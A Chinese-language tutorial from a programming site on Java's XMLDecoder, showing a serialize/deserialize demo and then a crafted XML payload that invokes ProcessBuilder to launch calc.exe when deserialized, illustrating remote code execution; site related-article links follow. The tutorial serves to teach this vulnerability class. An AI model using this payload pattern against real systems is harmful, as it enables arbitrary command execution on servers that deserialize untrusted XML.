不是吧,阿sir?你还不懂反序列化?

2023-11-27 13:50
文章标签 不是 序列化 sir

本文主要是介绍不是吧,阿sir?你还不懂反序列化?,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

0x01 前言

之前我们接触过java比较基础且普遍的一种反序列化,但是在java中反序列化的形式并不是那么单一,今天我要要介绍的就是XMLDecoder这个类的序列化以及反序列化。

0x02 XMLDecoder介绍

这个类是jdk自带的,位置是java.beans.XMLDecoder , 这个类的序列化就是将java对象转换成xml文件,反序列化是把特定格式的xml文件转换成java对象。

我们还是用一个小demo来熟悉下它的使用方式。

创建一个类,类里面有两个方法,一个是序列化操作,一个是反序列化操作

import java.beans.XMLDecoder;
import java.beans.XMLEncoder;
import java.io.*;public class XMLTest{// 序列化对象到文件person.xmlpublic void xmlEncode() throws FileNotFoundException {Person person = new Person();person.setAge(18);person.setName("axin");XMLEncoder xmlEncoder = new XMLEncoder(new BufferedOutputStream(new FileOutputStream("person.xml")));xmlEncoder.writeObject(person);xmlEncoder.close();System.out.println("序列化结束!");}// 反序列化public void xmlDecode() throws FileNotFoundException {XMLDecoder xmlDecoder = new XMLDecoder(new BufferedInputStream(new FileInputStream("person.xml")));Person person = (Person)xmlDecoder.readObject();xmlDecoder.close();person.sayHello();System.out.println("反序列化成功!");}public static void main(String[] args) throws FileNotFoundException {XMLTest xmlTest = new XMLTest();xmlTest.xmlEncode();xmlTest.xmlDecode();}
}

其中Person类如下:

public class Person {String name = "";int age;public String getName() {return name;}public void setName(String name) {this.name = name;}public int getAge() {return age;}public void setAge(int age) {this.age = age;}public void sayHello(){System.out.println("Hello, my name is "+name);}
}

运行XMLTest类,会在当前工程目录下生成一个person.xml文件,并且终端会打印调用sayHello方法的结果

序列化生成的xml文件格式如下:

<?xml version="1.0" encoding="UTF-8"?>
<java version="1.8.0_231" class="java.beans.XMLDecoder"><object class="Person"><void property="age"><int>18</int></void><void property="name"><string>axin</string></void></object>
</java>

反序列化上述的xml文件,然后执行sayHello方法

0x03 利用方法

我们已经得知XMLDecoder常见的序列化与反序列化的方法,那么怎么利用呢?

我们可以利用其反序列化机制执行任意对象的任意命令,例如构造如下xml文件:

<java><object class="java.lang.ProcessBuilder"><array class="java.lang.String" length="1"><void index="0"><string>calc.exe</string></void></array><void method="start"></void></object>
</java>

上述xml文件如果被反序列化会执行ProcessBuilder的start方法,弹个计算器

其他

这一章只是简单的XMLDecoder反序列化的原理,同样的,我还是会找一个案例来帮助大家更清晰的认识该漏洞,当然,换汤不换药,漏洞的发生场景变了,本质是不变的~

下一章,我们就看看weblogic中的XMLDecoder反序列化漏洞吧

这篇关于不是吧,阿sir?你还不懂反序列化?的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/427790

相关文章

Java中JSON格式反序列化为Map且保证存取顺序一致的问题

《Java中JSON格式反序列化为Map且保证存取顺序一致的问题》:本文主要介绍Java中JSON格式反序列化为Map且保证存取顺序一致的问题,具有很好的参考价值,希望对大家有所帮助,如有错误或未... 目录背景问题解决方法总结背景做项目涉及两个微服务之间传数据时,需要提供方将Map类型的数据序列化为co

RedisTemplate默认序列化方式显示中文乱码的解决

《RedisTemplate默认序列化方式显示中文乱码的解决》本文主要介绍了SpringDataRedis默认使用JdkSerializationRedisSerializer导致数据乱码,文中通过示... 目录1. 问题原因2. 解决方案3. 配置类示例4. 配置说明5. 使用示例6. 验证存储结果7.

SpringBoot实现Kafka动态反序列化的完整代码

《SpringBoot实现Kafka动态反序列化的完整代码》在分布式系统中,Kafka作为高吞吐量的消息队列,常常需要处理来自不同主题(Topic)的异构数据,不同的业务场景可能要求对同一消费者组内的... 目录引言一、问题背景1.1 动态反序列化的需求1.2 常见问题二、动态反序列化的核心方案2.1 ht

SpringBoot项目中Redis存储Session对象序列化处理

《SpringBoot项目中Redis存储Session对象序列化处理》在SpringBoot项目中使用Redis存储Session时,对象的序列化和反序列化是关键步骤,下面我们就来讲讲如何在Spri... 目录一、为什么需要序列化处理二、Spring Boot 集成 Redis 存储 Session2.1

Java controller接口出入参时间序列化转换操作方法(两种)

《Javacontroller接口出入参时间序列化转换操作方法(两种)》:本文主要介绍Javacontroller接口出入参时间序列化转换操作方法,本文给大家列举两种简单方法,感兴趣的朋友一起看... 目录方式一、使用注解方式二、统一配置场景:在controller编写的接口,在前后端交互过程中一般都会涉及

C++如何通过Qt反射机制实现数据类序列化

《C++如何通过Qt反射机制实现数据类序列化》在C++工程中经常需要使用数据类,并对数据类进行存储、打印、调试等操作,所以本文就来聊聊C++如何通过Qt反射机制实现数据类序列化吧... 目录设计预期设计思路代码实现使用方法在 C++ 工程中经常需要使用数据类,并对数据类进行存储、打印、调试等操作。由于数据类

如何配置Spring Boot中的Jackson序列化

《如何配置SpringBoot中的Jackson序列化》在开发基于SpringBoot的应用程序时,Jackson是默认的JSON序列化和反序列化工具,本文将详细介绍如何在SpringBoot中配置... 目录配置Spring Boot中的Jackson序列化1. 为什么需要自定义Jackson配置?2.

Django序列化中SerializerMethodField的使用详解

《Django序列化中SerializerMethodField的使用详解》:本文主要介绍Django序列化中SerializerMethodField的使用,具有很好的参考价值,希望对大家有所帮... 目录SerializerMethodField的基本概念使用SerializerMethodField的

Jackson库进行JSON 序列化时遇到了无限递归(Infinite Recursion)的问题及解决方案

《Jackson库进行JSON序列化时遇到了无限递归(InfiniteRecursion)的问题及解决方案》使用Jackson库进行JSON序列化时遇到了无限递归(InfiniteRecursi... 目录解决方案‌1. 使用 @jsonIgnore 忽略一个方向的引用2. 使用 @JsonManagedR

VMWare报错“指定的文件不是虚拟磁盘“或“The file specified is not a virtual disk”问题

《VMWare报错“指定的文件不是虚拟磁盘“或“Thefilespecifiedisnotavirtualdisk”问题》文章描述了如何修复VMware虚拟机中出现的“指定的文件不是虚拟... 目录VMWare报错“指定的文件不是虚拟磁盘“或“The file specified is not a virt